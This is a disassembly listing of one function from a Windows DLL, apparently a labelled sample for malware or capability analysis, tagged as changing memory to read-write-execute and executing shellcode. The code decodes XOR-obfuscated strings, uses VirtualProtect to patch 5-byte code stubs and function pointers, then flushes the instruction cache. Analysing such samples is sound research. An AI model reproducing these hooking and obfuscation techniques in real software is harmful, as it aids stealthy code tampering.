Function at 0x10017740
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10022660
mov eax, dword fs:[0]
push eax
sub esp, 0x4c
mov eax, dword [0x1002f018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.10017280
mov ecx, 0xdd
xor eax, eax
mov dl, byte [eax + 0x10029338]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x2c], dl
jns 0x10017794
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x1a
jl 0x10017777
mov byte [ebp - 0x12], 0
mov dword [ebp - 4], 0
mov ecx, dword [0x10162608]
mov eax, dword [ecx]
mov eax, dword [eax + 0x28]
push 0x10016990
lea edx, [ebp - 0x2c]
push edx
call eax
mov esi, 7
mov edi, eax
call fcn.10002e00
add esp, 4
mov dword [0x1006a6a4], eax
xor eax, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov word [ebp - 0x14], ax
mov byte [ebp - 0x12], al
lea ebx, [ebx]
mov ecx, 0x5e
xor eax, eax
mov dl, byte [eax + 0x1002a548]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x3c], dl
jns 0x10017814
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xe
jl 0x100177f7
mov byte [ebp - 0x2e], 0
mov dword [ebp - 4], 1
mov ecx, dword [0x10162608]
mov eax, dword [ecx]
mov eax, dword [eax + 0x28]
lea edx, [ebp - 0x3c]
push edx
call eax
cmp dword [eax], 0xffffffff
sete cl
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov word [ebp - 0x30], ax
mov byte [ebp - 0x2e], al
test cl, cl
je 0x1001785c
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100177f0
mov ecx, 0x97
xor eax, eax
mov dl, byte [eax + 0x100295e8]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x2c], dl
jns 0x10017880
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x1b
jl 0x10017863
mov byte [ebp - 0x11], 0
mov dword [ebp - 4], 2
mov ecx, dword [0x10162608]
mov eax, dword [ecx]
mov eax, dword [eax + 0x28]
lea edx, [ebp - 0x2c]
push edx
call eax
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebp - 0x4c]
push ecx
push 0x40
mov esi, eax
push 5
push esi
call edi
mov ebx, dword [sym.imp.MSVCR100.dll_memmove]
push 5
push 0x1002a558
push esi
call ebx
mov eax, dword [ebp - 0x4c]
add esp, 0xc
lea edx, [ebp - 0x50]
push edx
push eax
push 5
push esi
call edi
push 5
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
xor eax, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov ecx, 0x97
mov dl, byte [eax + 0x1002963c]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x48], dl
jns 0x1001791e
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x1b
jl 0x10017901
mov byte [ebp - 0x2d], 0
mov dword [ebp - 4], 3
mov ecx, dword [0x10162608]
mov eax, dword [ecx]
mov eax, dword [eax + 0x28]
lea edx, [ebp - 0x48]
push edx
call eax
lea ecx, [ebp - 0x4c]
push ecx
push 0x40
mov esi, eax
push 5
push esi
call edi
push 5
push 0x1002a558
push esi
call ebx
mov eax, dword [ebp - 0x4c]
add esp, 0xc
lea edx, [ebp - 0x50]
push edx
push eax
push 5
push esi
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 5
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
or esi, 0xffffffff
mov dword [ebp - 4], esi
call fcn.10016460
jmp 0x10017990
mov ecx, 0x5e
xor eax, eax
mov dl, byte [eax + 0x1002a548]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x3c], dl
jns 0x100179b4
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xe
jl 0x10017997
mov byte [ebp - 0x2e], 0
mov dword [ebp - 4], 4
mov ecx, dword [0x10162608]
mov eax, dword [ecx]
mov eax, dword [eax + 0x28]
lea edx, [ebp - 0x3c]
push edx
call eax
cmp dword [eax], 8
sete cl
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov word [ebp - 0x30], ax
mov byte [ebp - 0x2e], al
test cl, cl
je 0x10017a00
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10017990
mov ecx, 0x5e
xor eax, eax
mov dl, byte [eax + 0x1002a548]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x20], dl
jns 0x10017a24
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xe
jl 0x10017a07
mov byte [ebp - 0x12], 0
mov dword [ebp - 4], 5
mov ecx, dword [0x10162608]
mov eax, dword [ecx]
mov eax, dword [eax + 0x28]
lea edx, [ebp - 0x20]
push edx
call eax
cmp dword [eax], 9
mov dword [ebp - 4], esi
sete cl
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov word [ebp - 0x14], ax
mov byte [ebp - 0x12], al
test cl, cl
je 0x10017a6f
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10017a00
call fcn.10009a50
test eax, eax
je 0x10017a7d
lea esi, [eax + 0x30]
jmp 0x10017a7f
xor esi, esi
lea ecx, [ebp - 0x4c]
push ecx
push 0x40
push 4
push esi
call edi
mov eax, dword [ebp - 0x4c]
lea edx, [ebp - 0x50]
push edx
push eax
push 4
push esi
mov dword [esi], 0x10009bb0
call edi
push 4
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
call fcn.10009a50
test eax, eax
je 0x10017ab7
lea esi, [eax + 0x10]
jmp 0x10017ab9
xor esi, esi
lea ecx, [ebp - 0x54]
push ecx
push 0x40
push 4
push esi
call edi
mov eax, dword [ebp - 0x54]
lea edx, [ebp - 0x58]
push edx
push eax
push 4
push esi
mov dword [esi], 0x10009b00
call edi
push 4
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
call fcn.10016840
call fcn.10017550
call fcn.1000c9c0
int3